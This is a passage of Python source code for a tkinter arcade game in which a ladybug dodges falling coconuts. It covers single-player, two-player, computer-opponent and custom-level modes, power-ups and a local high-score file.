data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n 